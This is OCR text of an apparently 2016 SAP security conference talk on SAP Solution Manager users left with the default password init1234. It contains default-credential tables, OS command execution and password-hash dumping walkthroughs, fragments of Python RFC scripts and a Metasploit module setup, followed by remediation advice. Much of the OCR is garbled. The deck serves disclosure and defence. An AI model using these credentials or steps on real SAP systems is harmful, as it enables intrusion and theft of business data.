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HARMONMIZING BUSINESS AND SECURITY

Who is ERP-SEC

 Company specialized in securing SAP systems and infrastructures

* SAP Security Research: Reported and credited for > 60 vulnerabilities
* Developer Protect4S — SAP Certified Security Analyser for SAP™

* SAP Development Partner

* Regular presenters on SAP Security

* Our mission is to raise the security of mission—critical SAP platforms with minimal
impact on day—to—day business.

Who am |

 SAP Technology enthusiast

* SAP security researcher

 Co-founder ERP-SEC

* 15+ years background in SAP technology / SAP security (SAP basis)

% Bi~ Ec SAP°Certified

................ Powered by SAP NetWeaver”
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Something about SAP
 Market leader in enterprise application software
* ~300.000 customers worldwide

e SAP customers include:
— 87% of the Forbes Global 2000 companies
— 98% of the 100 most valued brands

* Headquarters: Walldorf, Germany, offices in more than 130 countries
* Founded April 1, 1972

 QOver 75.000 employees worldwide

 74% of the world’s transaction revenue touches an SAP system

* Bottomline: Interesting Target!

We wants it.
We needs it,

the precious!

Source: http://www.sap.com/bin/sapcom/en_us/downloadasset.2016-01-jan-26-01.SAP-Corporate-Fact-Sheet-En-20160126-pdf.bypassReg.html
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General state of SAP security

* We see more awareness at customers for SAP security but from awareness to action is
still not the default

 Some sort of a rule, kinda: The bigger the company, the more SAP security they do

» Still a large part of customers lack basic security measures, especially the ones outside
the Fortune 2000 (only a minor ~ 298.000 companies worldwide)

* SAP is working hard to improve security for years now. See for example the SAP
Security Baseline, Training, security guides, patch Tuesday, etc. Now it’s up to
customers to take action...

e Default accounts: In 100% of our SAP Security assessments we found at least one.

SAP Security Baseline Template

Version 1.8

The structure of the template is based on the SAP Secure Operations Map:

Secu_rity Security Audit Cloud Security En.wergen::y
Compliance Governance Concept
Security Review
and Monitoring
WWW.ERP-SEC.COM

Secure Users and Authentication and Support

Operation Authorizations Single Sign-On Security
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w ERP-SEC SAP Security

When doing SAP Security assessments...

No need to explain: most easy way in via username & password
Who needs buffer overflows, DEP/ASLR bypass, XSS, SQLi when you have credentials

Two big attack vectors in SAP systems:
* SAP Default accounts
* SAP RFC gateway (and from there RFC pivoting ...)

Owning SAP systems often comes down to getting access to credentials.
Sniff / social engineer / phish for accounts
Easiest option: Default accounts!!!

WWW.ERP-SEC.COM
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Publically known SAP default accounts

PASSWORD __|cLIENT REARK

i 06071992 / PASS 001,066, etc... Hardcoded kernel user
Almost all IDES
i clients Only in IDES systems

DDIC 19920706 000,001 User has SAP_ALL
CTB ADMIN lop123  NA evauser

Has rights to get password hash for SAP*
from USRO2 table and sometimes OS
EARLYWATCH |[SUPPORT execution

PASSWORD / 000, sometimes A new default password as the old one was
TMSADM S1Pawd2& copied to others  too well known?

Very High

Can be used for information retrieval and in
some cases for vulnerabilities where only
ow SAPCPIC ADMIN 000,001 authentication is needed

Very High
Very High
Medium

Medium /

-
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Accounts with a previously unknown SAP default password
Let’s meet some new default accounts™:

RISK  USER  [TVPE
System ini - oox
ini I
System ini - oox
ini - oox
System ini - oox
HIGH  [SAPSUPPORT  [bialog _ |ini L ox [ x
HIGH ___ [SOLMAN<SID><CLNT> ____Dialog x|
MED/HIGH SMDAGENT_<SID> System init1234 X X

MED CONTENTSERV System init1234 X

MED SMD_AGT System init1234 X

*The list does not include the more recent users like for example SM_<SM-SID> that are created with a custom password

CVE-2016-4033
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* If you ran SOLMAN_SETUP first time 5 years ago or longer; chances are high (no
uncommon scenario for SAP customers)

 Depending on configured scenario’s you might have all or some of those users

* Not in case of recent new installations

e Customers already run SAP Solution Manager for many years as SAP pushed Solman
as mandatory for SAP support

. Maintenance Optimizer
4 p F
YL &
; -

Starting on 2007/04/02, all corrective software

packages* for mySAP Business Suite 2005 and
beyond will ONLY be available via SAP Solution
Manager‘'s Maintenance Optimizer

Detailed information can be found at:
https://service.sap.com/solman-mopz

* Includes support packages (stacks)

WWW.ERP-SEC.COM
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Every customer has a SAP Solution Manager.
Transaction SOLMAN_SETUP starts wizards for basic system setup and additional scenario’s

SAP Solution Manager: Overview

ﬁ — lﬁ‘

Initial Configuration Configurations
Status  Description Last Chan: on Last Ch
Basic Configuration i ged angedby | |
Initial Confiquration 24.05.2011, 21:57-14 | SAPADM
System C

Ay Easic Configuration 10.03.2015 , 16:06:06 SAPADM

« Related Links

SAP i C tion

Demo
Default SAP G

cenaiiogset SAP Solution Manager: Basic Configuration
ShP s | Technical System: S3M:001 | Usernaie:
Overview |$—E E
Initial Configuration Praject Import Note Inztalla
[ Change |4 Back || Continue || Save |

SAPADM | System Type: ABAP

[4] [ 5] iy [7] »
L L L1 L

on Check User Data Landscape Data Manual Configuration Automatic Configuration

intain Connection || Maintain User |

Basic Configuration

- Related Links Provide logon information for the following users Provide user information

SAP Solution Manager Configuration S-User for SAP-Backend: * System User: |Generate user, generate password
Demo —
Default SAP GUI Settings Password: * ko) Username: CONTENTSERV
Central Log Settings i ‘ wiord:
SAP Links S-User for Communication: S000620830%, | Password:
SAP Service Marketplace Solution Manager Administrator; * SOLMAN_ADMI Batch User | Generate user, generate password

SAP Support Portal
SAP Help Portal

Password: * Username: SOLMAN_ETC

Provide information for your Bl configuration [sesssnns ko)

Is Bl installed in a separate [[] client? [Csystem?  o.p Support User: | Generate user, provide password
Username:
Password: * |lI-IIIII- -H
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Class CL_SISE_CONSTANTS contains default attributes for the password

Class Builder: Display Class CL_SISE _CONSTANTS
ook (B I g0 A 8 g £ P[] & Slowl Types S Implementation = Macros Class documentation

Class Interface |CL_SISE CONSTANTS | Implemented | Active
Properties | Interfaces . Friends / Attributes lf Methods | Events . Types - Alases |

[ IFitter
Attribute |Le1.rel |\JE...|RE...|T1,rping |Associated Type |Descn'ptiun
C_PSWD_INITIAL Consta..Public [] Type KUNCODE
Armeta Mokl [ C

WWW.ERP-SEC.COM
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 The SAP Solution Manager supports many scenario’s for managing the SAP landscape
* When scenario’s are activated, specific users are created per scenario
 Some examples of scenario’s:

— Technical monitoring
— Data volume management

— Custom code management

= - . ~
SAP Solution Manager Configuration: Overview Personalize
4 ) I

Help ElC
EreEmiEmation With SAP Solution Manager Configuration, you perform the basic SAP Scolution Manager and managed system configuration, az well as the configurafion of a range of scenarios. SAP Solution Manager A
Basic Configuration Configuration enables you to automate the configuration as much as possible, and provides a constant overview of the configuration progress. D

ag Y c i & SAP Solution Manager Configuration scenarios are implemented as guided proced . Each io ists of several steps. A step groups a number of activities that can be performed fogether. An
fivity can be automatic, that is, the system can perform the activity, or it can be manual, that is, you have to perform the activity. For each acfivity, you can display documentation with detailed instructions.
EarlyWatch Alert Management
Technical Monitoring Th Overview shows the overall status of SAP Selufion Manager Configuration_
IT Service Management . W
e Re§uirements
Change Request Management
Business Process Monitoring SR pﬁos
Business Process Change An... [Edbort | | Show| Al ~| | [Export ToHTML] | Refresh | Filter Settings
Measurement Platform Set Up Stalus | Upda... | Scenario | Last Changed at | Last Changed by Description [=]
Data Volume Management @ []  System Preparation 21.02.2016 15:17:49  SAPADM Preparation and Check of Solution Manager
@ O Basic Configuration 21.02.2016 15:31:54  SAPADM Basic Cc ion of Solution Manag

Custom Code Management
Job Management
Service Availability Managem... |:|

rther Configuration / I : '

WWW.ERP-SEC.COM
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* Most users get created in the SAP Solution Manager,
 Some users like SMDAGENT_<SID> also in satellite systems

| USER | TYPE | PASSWORD | SOLMAN | SATELLITE |
| SMDADMIN | System | init1234 | x| |
| SMDBIRFC | System | nit1234 | x| |
| SsMDRFC | system | init1234 | x| |
| SOLMAN ADMIN | Dialog | init1234 | x| |

XXX | X

| SOLMANBTIC | System | init1234 | x |
| SAPSUPPORT |  Dialog | nit1234 | X | X |
| SOLMAN<SID><CINT> | Dialog | init1234 | x [
| SMDAGT | system | init1234 | x|
| CONTENTSERV | System | init1234 |  x [
| SMDAGENT <SID> | System | init1234 | X [ X

X

X |X X |X

WWW.ERP-SEC.COM
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SAP Solution Manager, right in the middle of your business systems...

* The SAP Solution Manager is the heart of your SAP landscape and connects to the
other SAP systems

* Often seen as the ‘Spider in the web’ or the ‘Active Directory’ of SAP landscapes
* Leaves the entire SAP landscape at risk when compromised.

* Bank accounts
* Pricing
strategy

» Salary infos
* Pl
* SSN

* Vendors

* Strategy
details

SAR4

SAP SOLUTION
MANAGER * Customer info

* Credit cards

* RfPs, bids
* Business
negotiations

* Supplier info

WWW.ERP-SEC.COM
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So how bad is this...
* If those users exist with the default password? BAD!

 Some of these users have broad authorisations. In some cases profile
SAP_J2EE_ADMIN was added.

 The SAP Solution Manager is often seen as a technical system, authorisations handled
by the basis team (not their core business).

* See the SAP Security guide for all created users and roles.

— 7 A f 10
WWW.ERP-SEC.COM



¥ ERP-SEC Exploitation
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(Combined with other Vulnerabilities) these users can do
* Native SQL execution

e SMB relay

 OS command execution

* Creating new SAP users

e Retrieval and bruteforcing of password hashes
* Etc, etc...

All leading to a Full business compromise!

WWW.ERP-SEC.COM
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Exploitation Example 1: Os command execution via SAP Gui
* Dialog user SAPSUPPORT / init1234
* Has many roles, amongst which ZSAP_SM_SA38 - execute any ABAP program:

SLP SM SA38 OOm Transaction SA3E for Service Delivery
X ©oOm Standard Cross-application Zuthorization Objects

= =] s . .

If:'lli)Ol E‘e As Standard Transaction Code Check at Transaction Start

E oom 5 Standard Transaction Code Check at Transaction Start

&4 Transaction Code Sh38

—E= 0Om Maintained Basis - Development Envirconment
= OOm [} as Maintained BBAP: Program Flow Checks

&= oom 5, [ Maintained ABAP: Program Flow Checks

* /’ User action RABAP/4 program Execute ABAP program
* /’ Muthorization group ABAP/4 pro *

 Use program RSSAA_CALLEXTERN to inject OS commands

External Call
(&
-
COMMAND II_Emr
PARAM | /sbin/ifconfig

WWW.ERP-SEC.COM
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Log On VarstieLogon. | () # E] [0 (2 i

+ [T Favorites Name = | SID Group/Server Insta...  System Description Message Server Router(s)
+ [3 shortcuts [z, 55M (001) 55M 192.168.181.128 oo
~ [ Connections
- [ sithL
- BTy
- 3 Trooper#15
- Eua

7] CamStudie - b
Flle Region Options Tools Effects View Help

U LIELEE

CamStudio

Open Source

Press the Stop Button to stop recording
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Exploitation Example 2: Snagging SAP credentials
d System user SIVl DAGENT_<S|D> BE¥ Select CAWINDOWS systemn32cmd. exe - m] x

G:sUserssJorisnGloudStation~GloudStation~ERP-SEC \Documenten Presentations 2016 _T

* Existsin Sol. Manager AND connected systems! e e

Bystem number:
Client: [AA11
User: [SMDAGENT_SSM1

 Combines remote FM (/SDF/GEN _PROXY ) that i e Rt

p WL -8
es >{UALUE>{_-SDF —REE NRTSQL SDD FIELD)(POS)1(/POS)(THBNHME)HSREZ(/THBNHME)(FIEL
[DNAME >BNAME< ~FI ELDNAME ><LANGU >E<LANGU >{POSITION>8002< POS I TION><OFFSET >A00006< |
(OFFSET ><DOMNAME >XUBNAMES »DOMNAME > { ROLLNAME >X UBNAMES #ROLLNAME>< CHECKTABLE ~ >< LENG>|
a CtS a S W ra e r' to Ca | | | Oca I F I\/I @01 2</LENG>{INTLEN>B88024</INTLEN><OUTPUTLEN>808@012< -0UTPUTLEN><DECIMALS >000066)
@< /DECIMALS >{DATATYPE>CHAR{DATATYPE>{INITYPE>C{/INITY¥PE><{REFTABLE~>{REFFIELD/><
(PRECF1ELD>USRB2 < PRECFI ELD><AUTHORI D/ ><MEMORY I D>XUS < MEMORY I D><{LOGFLAG/ ><MASK/><
MASKLEN >0080< MASKLEN><CONUEXI T~ ><{HEADLEN>12 < HEADLEN><SCRLEN1 >18< /SCRLEN1 ><SCRL|
[EM2 >15< /SCRLENZ ><{SCRLEN3 >2A</SCRLEN3 >{FIELDTEXT >lIser Mame in User Master Record<

/ELELDTEXTS<REPTEXT Misor Nano{/REPTEXT>SSCRIERT § sor< /SCRTERT SY(SCRIEKT Moloe

to execute -C/SCRTEKT M><SCRTEKT_L>User</SCRTEXT_L><NEYFLAG>X</KEYFLAG><LOWERCASE/><MAC><G

— — ENKEWXNOFORKEWXURLER1/)(NonUTchxxsIGN/xDvNPFLD»:</D¥NPFLD><F4nunILnBL/xc

OMPTYPE>EC /COMPTYPE>< LF | ELDNAME>ENAMES /LF 1 ELDNAMED<LTRFLDDIS #><BI DICTRLC,/>< /-

* Retreive ANY DB tabl tent
etrelive apble content.

° Exa m |e . P\N h as h es --> b rutefo rce Offl | ne 2 >15< /SCRLEN2 ><SCRLEN3 >28< /SCRLEN3 ><F1 ELDTEXT >Passuord Hash Key< FTELDTEAT ><REPT

p . KT 3Eacs o d< REFTEKT XX SCRTEKT_§>/</SCRIEKT_$><SCRIEKT M>Initial pacowrd</SCRIEX

CRTEXT_L>Initial password</SCRTEXT_L>{KEYFLAG~>{

° FO r m O re | nfo rm atIO n See SAP SCN b | Og NATSGL_SDD_FIELD>< UALUEX< asx:values>{sasx:ahap>’, 'TYPE': '}

*. 'NAME’: *FIELD_INFO§
**%. {’CONIENT’: **. I

‘. '"NAME’: 'RC ! . '"UALUE’ ’B ‘¥, {'CGONT NT’

! sxefsxbbs\xbf{?xml versio i tF-16"7>\n{asx p xmlns:as
p:/wmi.sap.comsabapxnl' version .@"><{a: alueﬁ)(UﬂLUE)(1tem)ﬂ ___ _FLAG2___ CBF
FEERPBRR00UAE . (/1tem>(1tem)DDIC B?F6EE4373E1D28C, </ item><iten>SAP>, EBCoACCAB1 DES
CAE. ¢ item><item>SAPADM, 1659EDEAF?2C8879 . < /item><item>SAPCPIC, 7D306C24BFA3813D, <
Fiten><item>SMTHESH, 421 7E7EFABS 23856 , < iten><item>SM_SSH,576C31DC61446971. < item
><item>IMSADM,.?42BIDCAF2394D85, < item><{item>ADMINISTRATR D7BFB4FC22EB?717,{ item
><item>ADMIN_USER, D8BBB?470FBEA9B3 . </ item>< item>ADSUSER, BC2898978 476 BEFD, < siten)|
<item>ADS_AGENT,CF?3C97BDE72615E.{/item>{item>CONTENTSERU,166EC?5DBB2E31E? . {/ite
m><item>DDIC, B?F6EE4373E1D28C, < /item><item>J2EE_ADMIN, 2ANEDDI29F6FC284, <~ iten><i]
tem>J2EE_GUEST , 0000000RO00O000R, < iten>{itenE LML IMELINBSCAE. {/iten>{iten>|
SAPADM.1659EDGAF?2CE879 . { iten><item>SAPCPIC,. 7DBBAGC248FAIB13D ., {/item><{iten>SAPJS
F. 4890301 AE46AEL64, <~ iten><{item>SAPSUPPORT . BED6DBYE4E4A2DBA, </ iten><iten>SLDAPTU
SER,5CBEES@2EB?9D108 . {/iten>{item>SLDDSUSER,. 2FAA3CASSCEEELCH . < /item>{item>SMB_SS
M.21E3878684C7B4C6 < item><{item>SMDAGENT S$SH,BD26C5924A6FA4ES , < item><iten>SOLHA
NESMBE1 . FB5?D5D66F2A3B87 . < sitem><item>SOLMANUAS . 629192942EB3C?DB £/item><iten>80|
LMAN_ADHIN, N1088770@30 78ABFG, </ item>< iten>SOLMAN_BTC, GBY5C EAC3ADD, </item><ite
. CAFFEEBRABRABRRG, </ iten><item>EARLYUATCH, BD5E494D3ECBF5E2 (/1tem>

{item>SAPx, DBBFF427EDH1E238 {ritem>{VALUE>< asx: ualued)</adx ahap>’ . ‘T?

- "NAME’: "RES_TAB
‘. 'UALUE’': **'>, {*CONTENT': *‘, 'TYPE 1

o ’NHME" * ROWS ‘. "UALUE’ :
132 *3, {*CONTENT’: '*, 'TYPE’': ’I

o ’NRHE’: * RUNTIME ‘. 'UALUE': '8@ '». {'CONTENT’:

| STYPE! = *
l. ‘NRME‘: * S GL)
| CODE : *», C'CONTENT’: °", "TYPE

‘. 'HAME’ : ’SOQL_MESSAGE

*. 'UALUE': **>1>1

C:\Users JorisnCloudStationCloudStat ion\ERP-SEC“Documenten“\Presentations'
roopersitlt >
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File Edit Search View Encoding Language Settings Macro Run Plugins Windo
cHEHRR LS sMbD( e |ty |C AR EEDNBE G

Blnew 4 | I CREATE USER bt (3| Bl new 5 3| Eliest ol 1] Bl system ol €3] Bl EXEC_08_CMD bt (3] B CREATE_USER VIA_SMDAGENT_SD.ay 3 [l READ_USR02_VIA_SMDAGENT_SID py E3 >
1 #!/usx/bin/py

import sapnwrfc
4 import re

6 default_host = 81 8' 2 var_host = raw_input(’

' % default_host) ; var_host = var_host or default_host

default_sysnr var_sysnr = raw_inpuc (' [ ' % default_sysnr) : var_sysnr = var_sysnr or default_sysnr
8 default_client var_client = raw_input( % default_client) ; var_client = var_client or default_client
g default_user ; var_user = raw_input(’ % default_user) : var_user = var_user or default_user
default_pw = var_pw = raw_input (' ]' % default_pw) var_pw = var_pw or default_pw

sapnwrfc.base.load_config()
conn = sapnwrfc.base.rfc_connect({'

':var _host, 's :var_sysnr, 'c

:var_client, 'us

':var_user,

### Read USRO2 via /SDF/GEN_PROXY
fa = conn.discover ("
a = fa.create_function_call()
a.INPUT( [{ NA

a
z

31 1)

.invoke ()
= a.RESULT.value
conn.close()

print z
[ CamStudio - X
File Region Options Tools Effects View Help
ke
QEE = NG
CamStudio
Open Source
Press the Stop Button to stop recording
Python file length: 1236 lines: 24 Ln:24 Col:1 Sel:0|0 Dos\Windows UTF-8

16:31

A 7R g pats
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Exploitation Example 3: Execute OS commands via RFC protocol
* System user SOLMAN_BTC / init1234
e Can be used to execute OS commands via Function Module SXPG_STEP_XPG_START

 And from there use the implicit trust relation to the Database to create an SAP user
directly in the SAP database with SAP_ALL (no application level audit).

Display User
P &

I =
User I|_b30_II~I |I
Last Changed On | | loo:00:00 Status | Saved |

 Address _l/ SHC F/Defaurts F/Parameters F/lees F/Prﬂﬁles F/Er...[ﬂ JlEl

Alias | |

User Type ' Service -
Password

Password Status Product. password

WWW.ERP-SEC.COM
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File Edit Search View Encoding Language Settings Macre Run  Plugins  Window
cHHBRGE| s mb|oe|dp ac|EE EEL BENRElw
Hrews JlEIESl.p\ JlEsystEm.p\ JIE EXEC OS5 CMDbat &3 [=] CREATE_USER_VIA_SMDAGENT_SIDpy E3 IE READ_USR02_VIA_SMDAGENT_SID py £3

#1/usr/bin/python

import sapnwrfc
import re

1' % default_host) : var_host = var_host or default host
[2s]' % default_sysnr) ; var_sysnr = var sysnr or default sysnr
£=]' & default_client) ; var_client = var_client or default client

default_host = '
default_sysnr =
default_client
default_user

g' ; var_host = raw input('

2
4
5
&

T var_sysnr = raw_input(
F var_client = raw_input ('

; var_user = raw_input{'U % default_user) var_user = var_user or default_user

default pw = 'i var_pw = raw_inpuc {'E 1" % default_pw) ; var_pw = var_pw or default pw

sapnwrfc.base.load_config()

conn = sapnwrfc.base.rfc connect ({'as tvar_host, tvar_sysnr, tvar_client,
15 ### Create SAP user via /SDF/GEN_PROXY

EP !
a = fa.create_function ::all()
a.EXTPROG ("=
a.PARRMS ("

. STDINCHTL(

16 fa = conn.discover("3

[CRET
3 M
w

™

.invoke ()

= a.L0G.value
CamStudio = X
print z D

a
a
a.
a
a
z

MONON N
J oo o

File Region Options Tools Effects View Help

euE =N Ex |

WM
S 0 om

vy

CamStudio

Open Source

a.invoke ()
z = a.LOG.value
print z

fa = conn.discover(

= fa.create_function_call()
EXTPROG ("= imy
PRRRME (" T
STDINCHTL(
STDOUTCNTL ("
STDERRCNTL ("

Press the Stop Button ta stop recording

[ T I T

Python file length: 1988 lines: 60 Ln:6 Col:32 Sel:0|0 Dos\Windows
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Exploitation Example 4: Metasploit command shell
* System user SOLMAN_BTC / init1234
 Use Metasploit (also see @nmonkee his MWR modules!)

* For example:

. Project - default ¥
[ﬁ] metasploit

Overview Analysis Sessions @ Campaigns Web Apps Modules Credentials Reports Exports

Home default Tasks ﬁ?E\

Task started

Launching Complete (1 session opened) exploit/multi/sap/sap_soap_rfc_sxpg_command_exec ¢ Completed

WWW.ERP-SEC.COM


https://labs.mwrinfosecurity.com/tools/sap-metasploit-modules/
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< btomati.. LM/NTLMCh... [7] #1FreeC.. | [ PCILDSS... | Gal Thesimp.. Dia0-Materi. & DuckTool.. = Duck ToolKit .. \ ) GitHub-... | ' BuyHTC.. | (i NativeS.. | & [payload].. \ €3 HowtoC.. | () usb-rubb.. | eed01b2l.. 3 Howtoi. [ Meta.. X P g = X
€ > ok localhost: 1 ¢ Qzoe "Ee 9 A4y > B2 e @=
A
B ram P ey rraya ryra o R N
Home default Modules SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Exe
Module SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
Type Server Exploit exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
Ranking
Privileged? No This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
Disclosure May 8, 2012 SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
Developers successfully on Windows 2008 64-bit and Linux 64-bit platforms.
nmonkee Target Systems
References Target Addresses Excluded Addresses
mwrinfosecurity 192.168.233.131

sap
I s

Exploit Timeout (minutes)

5 [ CamStudio - X

File Region Options Tools Effects View Help

RITE = &5

Target Settings

Linux s

Payload Options

.
Peyload Type vsienerpors [1024 65535 [ Cam%tuglo
Connection Type Listener Host pen Source

Enable Stage Encoding (IPS evasion)  []

Module Options
CLIENT 001 SAP Client (string)
PASSWORD |init1234 Password (string)

I

Proxies A proxy chain of format type:host:port|type:host:port][.. ] (string)

Press the Stop Button to stop recording
RPORT 8000 The target port (port)

ssL Negotiate SSL/TLS for outgoing connections (bool)

USERNAME |solman_btc Username (string)

VHOST

i

HTTP server virtual ho:

Advanced Options show
Evasion Options show

G Run Module

Metasploit Community 4.12.0 - Update 2016070501 ®© 2010-2016 Rapid7 Inc, Boston, MA
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How we discovered this
* Found by indexing ABAP sourcecode with SOLR (Credits to Martin Ceronio)

 RTFM: SAP Solution Manager 7.0 EHP1 End-to-End Root Cause Analysis — User
Administration guide

SAP Solution Manager 7.0 EHP1

End-to-End Root Cause Analysis

2.3.8 [SOLMAN.DUAL.AGTCOM]: Diagnostics agent
System User
This user is a System User mandatory to register the SMD Agent during startup of the Agent with the
Netweaver Java Stack via P4 connection. It is created in ABAP Client during the Managing Setup

Wizards procedure. It has by default the password “init1234" which is proposed by the Setup Wizard
but it can be freely customized during the setup or within the Advanced Setup of Diagnostics.

Root Cause Analysis This user account is required during the Agent installation step.

User Administration Guide @

Please note that all communications between the SMD Agent and the Root Cause
Analysis are transferred through this single connection.

Document Version 1.6 - February 2010

Valid for SAP Solution Manager 7.0 EHP1 2 -
w | T
Recommended | Default | User ABAP Role / R E
Description value password | store | J2EE securityrole | @ | @ S
219 |
o
System User for the
SMD Agents SMD_ADMIN | Init1234 | ABAP | SAP_J2EE_ADMIN X'
connection to SAP
Solution Manager
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How we discovered this
e SAP note 1265580

A ETV sapnote Knowledge Base  ~ || 0001265580 WilyHost agent failst () || O &5 joris van de Vis (S0009357613) v

~

Back / L 6 oA = 4O

1265580 - WilyHost agent fails to connect to ABAP stack (bad password)

Version 1 from 23.10.2008 in English

Component: SV-SMG-DIA Category: Help for error analysis Corrections: 0 SAP Note/KBA Number 63
Priority: Recommendations / Additional Info Release Status: Released for Customer Manual Activities: 0
Prerequisites: 0

Description Software Components Languages

Symptom

After Diagnostics setup, the WilyHost agent does not collect any data from the managed ABAP stack due to the following error found in file SMDAgentApplication.log:
Error  com.sap.smd.wily. hostagent.destination.JCODestination - init(): <SID=|<WilyHost Agent Id=

[EXCEPTION]

com.sap.mw.jco.JCO%Exception: (103) RFC_ERROR_LOGON_FAILURE: Password logon no longer possible - too many failed attempts

at com.sap.mw.jco.MiddlewareJRfc.generateJCoException(MiddlewareJRIc java455)[...]

Other Terms
SMDAGENT_< DiagnosticsSID> user gets locked due to bad password

Reason and Prerequisites

The password of user SMDAGENT _<DiagnosticsSID> has been set to a value different from the default install
stack. As the WilyHost task has been setup with the default or previous password value, it fails to connect to the'

WWW.ERP-SEC.COM
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H OW to p rote ct ? e Z¥ http://sapgsm.mooo.com:8020/sap/bc/webdynpro/sap/zesec_check_solman_usr_pw?sap-lai P v & | = Check Solution Manager us... %
L ]

X ﬂ File Edit View Favorites Tools Help

Use the free tooling from our website R aec

to detect if mentioned users exist with ' . Protect4S

a default password in your SAP systems. ‘ \ ©  Controlthe risk of your SAP platform

Alternatively use SAP Security hero
Martin Gallo his PySAP tooling.
https://github.com/CoreSecurity/pysap

Selection Criteria
Destination: * [EE 7] [ Check the Solution Manager user names
Solution Manager users overview
‘v Sﬁm ‘ User \ Message
@ CONTENTSERV No default password is used
] @ SAPSUPPORT No default password is used
| @ SMDAGENT_AAA Default password init1234 is used in the PWDSALTEDHASH hash
] @ SMDAGENT_BAA Default password init1234 is used in the BCODE hash
] @ SMDAGENT_CAA Default password init1234 is used in the PASSCODE hash
] SMDAGENT_GSM No default password is used
| SMDAGENT_XXX | No default password is used
] 7] SMD_AGT No default password is used
] @ SMD_RFC No default password is used
| @ SOLMAN_ADMIN No default passwiord is used
] @ SOLMAN_BTC Default password init1234 is used in the PWDSALTEDHASH hash

WWW.ERP-SEC.COM


https://protect4s.com/erp-sec-releases-free-tooling-check-sap-platform-default-solution-manager-users/
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How to protect?

* See SAP Security note 2293011 for help

 Check and change passwords of before mentioned users

* Delete user SMD_ADMIN if you operate SAP Solution Manager 7.1 SP10 or higher.

* Also see SAP notes
— 1985387 - Potential information disclosure relating to SAP Solution Manager
— 2119627 - Change the Password for the Diagnostics Agent Connection User in SAP Solution Manager
— 1774432 - Missing authorization check in ST-PI
— 1727914 - Missing authorization checks in ST-PI
— 1535611 - Missing authorization check in ST-PI
— 2248735 - Code injection vulnerability in System Administration Assistant
— 1416085 - PFCG: Authorization maintenance for object S_ RFCACL

* Do not use “*” values for authorisation objects S_ RFC and S_RFCACL
* Setup honeytokens for users that are not needed for operations

* Freshly installed SAP Solution Manager 7.1 and 7.2 systems are not concerned =2
Consider installing fresh system instead of upgrade (depending on configuration)
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For more information please refer to:

SAP Security notes:

2293011- Upgrade Information: Default Users within SAP Solution Manager

2253549 - The SAP Security Baseline Template

1985387 - Potential information disclosure relating to SAP Solution Manager

2119627 - Change the Password for the Diagnostics Agent Connection User in SAP Solution Manager
1774432 - Missing authorization check in ST-PI

1727914 - Missing authorization checks in ST-PI

1535611 - Missing authorization check in ST-PI

2248735 - Code injection vulnerability in System Administration Assistant

1416085 - PFCG: Authorization maintenance for object S_ RFCACL

SAP Security guide for the SAP Solution Manager
Metasploit framework SAP user extract module
ABAP Indexing via SOLR

MWR Metasploit modules

ERP-SEC free tooling

CoreSecurity PySAP

SCN blog password hashes
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https://websmp110.sap-ag.de/~sapidb/012002523100016646822015E/SM_SEC_GUIDE_71SP14.pdf
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb
http://ceronio.net/2012/10/effective-and-easy-abap-source-code-search/
https://labs.mwrinfosecurity.com/tools/sap-metasploit-modules/
https://protect4s.com/erp-sec-releases-free-tooling-check-sap-platform-default-solution-manager-users/
https://github.com/CoreSecurity/pysap
https://blogs.sap.com/2014/05/08/why-you-should-really-get-rid-of-old-password-hashes-now

v ERP-SEC Questions

HARMONIZING BUSINESS AND SECURITY

“When a bug finally makes itself known, it can be
exhilarating, like you just unlocked something. A grand
opportunity waiting to be taken advantage of.”

Source: Mr Robot SO1E03 d3bug
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SAP, R/3, ABAP, SAP GUI, SAP NetWeaver and other SAP products and services mentioned herein as
well as their respective logos are trademarks or registered trademarks of SAP AG in Germany and
other countries.

All other product and service names mentioned are the trademarks of their respective companies.
Data contained in this document serves informational purposes only.

The authors assume no responsibility for errors or omissions in this document. The authors do not
warrant the accuracy or completeness of the information, text, graphics, links, or other items
contained within this material. This document is provided without a warranty of any kind, either
express or implied, including but not limited to the implied warranties of merchantability, fitness for a
particular purpose, or non-infringement.

The authors shall have no liability for damages of any kind including without limitation direct, special,
indirect, or consequential damages that may result from the use of this document.

SAP AG is neither the author nor the publisher of this publication and is not responsible for its
content, and SAP Group shall not be liable for errors or omissions with respect to the materials.

No part of this document may be reproduced without the prior written permission of ERP Security BV.
© 2016 ERP Security BV.
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